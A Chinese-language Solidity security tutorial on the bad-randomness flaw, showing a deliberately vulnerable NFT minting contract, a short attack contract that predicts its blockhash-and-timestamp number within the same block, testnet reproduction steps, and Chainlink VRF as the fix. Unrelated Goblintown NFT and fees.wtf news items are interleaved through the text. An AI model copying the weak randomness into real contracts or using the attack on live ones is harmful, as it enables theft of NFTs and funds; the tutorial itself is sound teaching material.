WTF Solidity 合約安全: S07. 壞隨機數

我最近在重新學solidity，鞏固一下細節，也寫一個“WTF Solidity極簡入門”，供小白們使用（編程大佬可以另找教程），每周更新1-3講。

這一講，我們將介紹智能合約的壞隨機數（Bad Randomness）漏洞和預防方法，這個漏洞經常在 NFT 和 GameFi 中出現，包括 Meebits，Loots，Wolf Game等。

很多以太坊上的應用都需要用到隨機數，例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明（public）且確定性（deterministic）的，它沒有其他編程語言一樣給開發者提供生成隨機數的方法，例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法，例如 blockhash() 和 keccak256() 方法。

壞隨機數漏洞：攻擊者可以事先計算這些偽隨機數的結果，從而達到他們想要的目的，例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講：偽隨機數。

“哥布林” GoblintTown.wtf NFT系列市值突破1億美元:金色財經報道，據最新數據顯示，“哥布林” GoblintTown.wtf NFT系列市值突破1億美元，本文撰寫時達到1.105億美元，交易額為6834萬美元。此外，該NFT系列地板價已升至7.1 ETH，24小時漲幅達到37.18%。Goblintown NFT 通過免費公售的形式在以太鏈上發售，發行總數量為 9999 個，其中Goblintown #6485以77.75 ETH成交，約合 150,507.29 美元，為目前該系列最高交易記錄。[2022/6/6 4:04:39]

下面我們學習一個有壞隨機數漏洞的 NFT 合約： BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 構造函數，初始化NFT合集的名稱、代號    constructor() ERC721("", ""){}    // 鑄造函數：當輸入的 luckyNumber 等于隨機數時才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一個主要的鑄造函數 luckyMint()，用戶調用時輸入一個 0-99 的數字，如果和鏈上生成的偽隨機數 randomNumber 相等，即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。

仿goblintown.wtf的NFT項目進入OpenSea交易榜前五:金色財經消息，據OpenSea數據顯示，仿goblintown.wtf（與其畫風相似）的NFT項目zombiestown.wtf 24小時交易額達到578.7ETH，進入OpenSea 24小時交易額排行第五名。截至目前發稿時，zombiestown.wtf的地板價為0.14ETH。行情波動較大，請做好風險控制。

此前今日上午消息，goblintown.wtf NFT系列地板價突破8ETH，24小時交易額排名在OpenSea達到第一。[2022/6/2 3:58:28]

下面我們寫個攻擊合約 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前計算隨機數        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻擊        nftAddr.luckyMint(luckyNumber);    }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中，我們計算了隨機數 luckyNumber，然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用，blockhash和block.timestamp是相同的，利用他們生成的隨機數也相同。

goblintown.wtf系列NFT交易額突破5000萬美元:金色財經報道，據nftgo最新數據顯示，“哥布林”goblintown.wtf 系列 NFT交易額已突破 5000 萬美元，截至目前為 5067 萬美元，交易額排名前三的分別是goblintown #6485（77.75 ETH）、goblintown #8995（69.42 ETH）和goblintown #9249（31.04 ETH）。[2022/6/2 3:58:25]

由于 Remix 自帶的 Remix VM不支持 blockhash函數，因此你需要將合約部署到以太坊測試鏈上進行復現。

部署 BadRandomness 合約。

部署 Attack 合約。

將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用，完成攻擊。

調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額，確認攻擊成功。

Goblintown.wtf NFT近7日交易額超1400萬美元:金色財經消息，據歐科云鏈鏈上大師NFT交易榜單顯示，Goblintown.wtf NFT近7日交易額已超1400萬美元，6天地板價漲超500%。目前該NFT項目已超越Otherdeed for Otherside、BAYC，成為近期交易量最暢銷的NFT。[2022/5/30 3:50:35]

我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞，例如 Chainlink VRF。這類隨機數從鏈下生成，然后上傳到鏈上，從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講：偽隨機數。

這一講我們介紹了壞隨機數漏洞，并介紹了一個簡單的預防方法：使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎，以防被黑客利用。

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fees.wtf已開放Discord頻道并將24小時內公布空投合約地址:1月12日消息，Gas使用統計查詢網站fees.wtf在其社交網站公布 Discord 頻道，并宣布將于24小時內公布空投相關合約地址。

fees.wtf 曾于1月4日宣布將發行 Token 空投，合約在激活前將會有倒計時以確保公平。[2022/1/12 8:43:35]

所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity

來源：bress

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